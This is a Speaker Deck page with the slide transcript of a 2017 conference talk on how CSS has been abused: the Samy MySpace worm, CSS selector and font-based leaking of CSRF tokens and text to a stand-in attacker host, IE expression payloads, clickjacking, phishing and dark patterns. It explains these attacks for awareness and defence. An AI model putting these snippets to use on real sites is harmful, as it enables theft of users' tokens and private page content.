Upgrade to Pro — share decks privately, control downloads, hide ads and more …

CSS For Good, Not Evil

Avatar for Stephen Hay Stephen Hay
June 16, 2017
Design
2
1.8k

CSS For Good, Not Evil

My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Avatar for Stephen Hay

Stephen Hay

June 16, 2017
Tweet

More Decks by Stephen Hay

See All by Stephen Hay
The Virtues of Low-fi
Avatar for Stephen Hay stephenhay
1
180
The Tail and Its Dog
Avatar for Stephen Hay stephenhay
1
310
From Deception to Clarity
Avatar for Stephen Hay stephenhay
4
660
Sculpting Text
Avatar for Stephen Hay stephenhay
4
920
Power Tools for Browser-Based Design (Artifact 2014)
Avatar for Stephen Hay stephenhay
6
520
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
Avatar for Stephen Hay stephenhay
2
560
Flexbox: One Giant Leap for Web Layout
Avatar for Stephen Hay stephenhay
6
410
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
Avatar for Stephen Hay stephenhay
9
940
Flexbox: One Giant Leap for Web Layout
Avatar for Stephen Hay stephenhay
5
180

Other Decks in Design

See All in Design
商業デザインのアクセシビリティにおける倫理フレームワークの考察
Avatar for Yu Morita securecat
1
620
誰もがAIエージェントを"操作"したがる〜AIエージェントに求められるUX〜
Avatar for Shota Ikeyatsu ikeyatsu
2
1.8k
Flow, Not Stock 知識触媒としてのIA
Avatar for Takehisa Gokaichi 5kaichi
1
300
Marpで推しCSSスライドを作ろう！ / marp-with-favorite-css
Avatar for ふじえもん fujiemon
0
350
オルタナUX | AIで高速化するのもいいけど品質も大事なんじゃない？というお話
Avatar for なつ iflection
5
1.4k
AI時代に淘汰されないデザインのしごと
Avatar for Akinen akinen
1
150
BPStudy#213〜ビジネスアナリシスとDDD（ドメイン駆動設計）パネルディスカッション資料 / BPStudy213-panel
Avatar for haru860 haru860
0
440
生成AIを活用した組み込みSW設計書検索システム開発
Avatar for matsukada licux
7
1.2k
株式会社バクタム　会社説明資料
Avatar for Bactum Inc. bactum
0
260
UXとUIの違いを自分の言葉で表現する： UX DAYS TOKYO
Avatar for Mizunashi Mana mizunashi_mana
0
180
タイミーでフィールドワークしたら、サービスデザインが始まった
Avatar for 太田賢一 kenichiota0711
1
2.2k
文字コントラストを改めて考える / Reevaluating Text Contrast
Avatar for LINEヤフーTech (LY Corporation Tech) lycorptech_jp
PRO
0
280

Featured

See All Featured
Easily Structure & Communicate Ideas using Wireframe
Avatar for Afnizar Nur Ghifari afnizarnur
194
16k
Refactoring Trust on Your Teams (GOTO; Chicago 2020)
Avatar for Rebecca Miller-Webster rmw
34
3.1k
Unsuck your backbone
Avatar for Amy Palamountain ammeep
671
58k
Build The Right Thing And Hit Your Dates
Avatar for Maggie C. maggiecrowley
37
2.8k
Statistics for Hackers
Avatar for Jake VanderPlas jakevdp
799
220k
How To Stay Up To Date on Web Technology
Avatar for Chris Coyier chriscoyier
790
250k
ピンチをチャンスに：未来をつくるプロダクトロードマップ #pmconf2020
Avatar for Aki / @LoveIdahoBurger aki_iinuma
126
53k
Embracing the Ebb and Flow
Avatar for Simon Collison colly
86
4.8k
YesSQL, Process and Tooling at Scale
Avatar for Rocio Delgado rocio
173
14k
We Have a Design System, Now What?
Avatar for Morgane Peng morganepeng
53
7.7k
10 Git Anti Patterns You Should be Aware of
Avatar for Lemi Orhan Ergin lemiorhan
PRO
656
60k
Building Better People: How to give real-time feedback that sticks.
Avatar for Will Jessup wjessup
367
19k

Transcript

  1. CSS For Evil, Not Good. How style has been used

    to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
  2. None
  3. None

  4. catawiki.com/jobs

  5. MySpace

  6. None
  7. None
  8. None

  9. Samy

  10. In a relationship.

  11. In a relationship. hot

  12. None

  13. but most of all, Samy is 
 my hero By

    vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303

  14. <div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html

  15. WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever

  16. Samy didn’t have 
 evil intentions.

  17. I’m not a security expert.

  18. None

  19. There are different levels of evil.

  20. Level 1: Getting some 
 browsing history.

  21. weirdbutdead.com

  22. weirdbutdead.com getComputedStyle

  23. Boolean algebra & mix-blend-mode

  24. http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/

  25. Level 2 Mathias Bynens’ Evil Basement of Horrors

  26. Some Belgian kid 
 did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015

  27. Stealing DOM data

  28. <input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }

    #csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.

  29. Text-symbol leaking

  30. <div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {

    font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }

  31. Forcing IE=7 Expressions

  32. .foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta

    http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>

  33. Level 3 Path-relative 
 stylesheet import http://blog.portswigger.net/2015/02/prssi.html

  34. http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *

    { width: expression( alert( ‘evil’ )) } http://example.com/posts.php/

  35. Level 4 Content replacement

  36. <style> nav {display: none;} </style> <div style”[various styles]”> Content </div>

  37. Oops: allow users to add <style>

  38. Allow users to add classes. Oops.

  39. Allow users to add classes. Oops.

  40. Level 5 UI Redressing “Clickjacking”

  41. LinkedIn

  42. .li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;

    top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }

  43. {"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015

  44. None

  45. Level 6 Phishing

  46. https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/

  47. None
  48. None

  49. One thing going for us, at least for now: most

    scammers aren’t great designers.

  50. “Good” design works. Even for evil.

  51. Level 7 Dark Patterns Black Hat UX

  52. Sophisticated deceivers seem knowledgable about behaviour as well as technology.

  53. None

  54. Image: https://www.brignull.com/

  55. None
  56. None

  57. “Roach Motel”

  58. Unsubscribe…

  59. None
  60. None
  61. None

  62. Misdirection

  63. None
  64. None
  65. None
  66. None

  67. Confirmation of 
 desired behaviour

  68. Yes | No Yes | Not right now Yes |

    Maybe later There is a significant difference between these sets of choices.

  69. Exploiting 
 behavioural patterns

  70. None

  71. People who stand to gain something from you have motive

    to deceive.

  72. Level 8 Command execution 
 on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html

  73. None
  74. None

  75. When systems become more complex, the number of possible weaknesses

    can increase, yet become less apparent.

  76. What’s the
 takeaway here? Nothing.

  77. Is there a 
 positive message? No.

  78. Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”

    Bynens